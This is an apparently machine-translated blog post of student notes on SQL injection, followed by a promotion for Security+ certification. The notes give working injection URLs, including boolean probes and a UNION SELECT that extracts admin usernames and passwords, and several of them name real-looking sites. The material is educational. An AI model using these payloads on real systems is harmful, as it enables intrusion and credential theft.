The principle of SQL injection Vulnerability in "Safe cow learning Notes"

Source: Internet
Author: User
Tags pack sql injection

The Web site does not filter the characters entered, causing the input characters to affect the query of the site data.

Programming mathematical logic thinking and or XOR and or no

Or: There is a truth that is true
And: There is a false is false
No: instead


How to find out if there is an injection vulnerability?
The first to find a Web site that matches the parameter link
The second judge whether there is an injection
The third implementation of injection attacks

Analyze the SQL injection process:
The first step is to guess the table name
Second step to guess the list name
The third step to guess the content

Three major web submissions: GET POST COOKIE

Get: Access address directly above the browser
Post: Button event (member registration, file upload, etc.)
Cookie: Access the value of the authentication that comes with the site

Normal injection no way, you can try the case, encoding, etc. bypass

Detailed description of the major parameter types: Character type, digital type, search type

Character type: ABCD ..... 26 English characters Chinese
Digital type: 0-9
Search: Search Keywords

What is the representation of the data for the character type in programming?
0123456789 "A" ' B ' a variable constant

Injection in each of the major types: Before our injection is basically digital type, the front injection statements are based on digital injection

Character-type injection:
Http://localhost:2008/chanpin.asp?bigclassname= Product Introduction &smallclassname= Pet Bag

Http://localhost:2008/chanpin.asp?bigclassname= Product Introduction &smallclassname= pet Pack ' +and+ ' 1 ' = ' 1 returned to normal.

Http://localhost:2008/chanpin.asp?bigclassname= Product Introduction &smallclassname= pet Pack ' +and+ ' 1 ' = ' 2 return error.

Search-Injection:
Http://www.myhack58.com/product/list_search.aspx?search=Donic

http://www.myhack58.com/product/list_search.aspx?search=Donic% ' and user>0 and '% ' = '//get current Database account

http://www.myhack58.com/product/list_search.aspx?search=Donic% ' and db_name () >0 and '% ' = '//Get the current database name

http://www.myhack58.com/product/list_search.aspx?search=Donic% ' and (select COUNT (*) from admin) >0 and '% ' = '// Return to the error page, it seems that there is no admin this table

Code Audit: Southern Data 0day Analysis

Http://www.xxx.com/NewsType.asp? smallclass= ' Union select 0,USERNAME+CHR (124) +password,2,3,4,5,6,7,8,9 from admin Union SELECT * FROM news where 1=2 and ' =

Http://www.chinafxhb.com/NewsType.asp? Smallclass= '%20UNION%20SELECT%200,USERNAME%2BCHR (124)%2bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union% 20select%20*%20from%20news%20where%201=2%20and%20 ' = '

SELECT * from News where Bigclassname= ' "& Bigclass &" ' and Smallclassname= ' "' Union select 0,USERNAME+CHR (124) +pa ssword,2,3,4,5,6,7,8,9 from admin Union SELECT * FROM news where 1=2 "' ORDER BY adddate Desc

This note is for safe Cattle class student notes, want to see this course or information security of dry goods can go to safe cattle classes

security+ Certification Why is the Internet + era of the most popular certification?


Manifesto first introduce you to security+


        security+ certification is a neutral third-party certification, the licensing Agency for the United States Computer Industry Association CompTIA, and CISSP, ITIL and other common inclusion in the international IT industry, one of 10 popular certification, and CISSP emphasis on information security Security+ certification is more emphasis on information security technology and operations than management.

This certification demonstrates your ability to network security, compliance and operational security, threats and vulnerabilities, application, data and Host security, access control and identity management, and encryption technology. Because of its difficult examination difficulty, the gold content is high, has been widely adopted by global enterprises and security professionals.

Why is security+ certification so hot?

        Reason one: In all information security certification, the emphasis on information security technology certification is blank,  security+ certification can make up for the gap in the field of information security technology.

      currently recognized in the industry of information security certification mainly Cisp and CISSP, but whether cisp or CISSP are emphasis on information security management, technical knowledge is broad and simple, the exam is around. And CISSP require a certificate of information security work experience for more than 5 years, Cisp also require a college education 4 years of working experience, these requirements will undoubtedly be able and motivated young people of the road blocked. In the real world, whether it is looking for a job or a raise, or a tender time to report personnel, certification is essential, which brings a lot of injustice to young people. The emergence of security+ can clear these young people career development obstacles, because security+ emphasis on information security technology, so there is no special requirements for work experience. As long as you have an IT-related background, the pursuit of progress can be studied and tested.

        reason two:  it operation and maintenance personnel work and turn over the weapon.

        in the banking, securities, insurance, information and communications industries, IT operations personnel are very many, it operations involved in the face is also very wide. is a network, system, security, application architecture, storage as one integrated technology post. Although no program ape "born as a Bachelor, Die also write code," The solemn and tragic, but also has "Hoe wo Day Copse, as the operation of suffering" feeling. Every day to the computer and machine, the time has been inevitable for career development confusion and confusion. The advent of security+ international certification allows the pursuit of IT operations personnel to learn network security knowledge, to master network security practices. Career development in the direction of network security, to solve the problem of the shortage of information security personnel in China. In addition, even if not transformation, to do a good job in operation and maintenance, learning safety knowledge to obtain safety certification is also essential.

Reason three: grounding gas, international stylish, easy to test, moderate cost!

As the most influential global leader in the global ICT sector, CompTIA is professional, fair and impartial in the field of information security talent certification. Security+ certification is highly operational and closely related to the daily work of frontline engineers. Suitable for banks, securities, insurance, internet companies and other IT-related personnel learning. As an international certification in 147 countries around the world are widely recognized.

Under the current tide of information security, talent is the key to the development of information security. and the current domestic information security personnel is very scarce, I believe security+ certification will become the most popular information security certification.

This article is from the "11662938" blog, please be sure to keep this source http://11672938.blog.51cto.com/11662938/1974769

The principle of SQL injection Vulnerability in "Safe cow learning Notes"

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.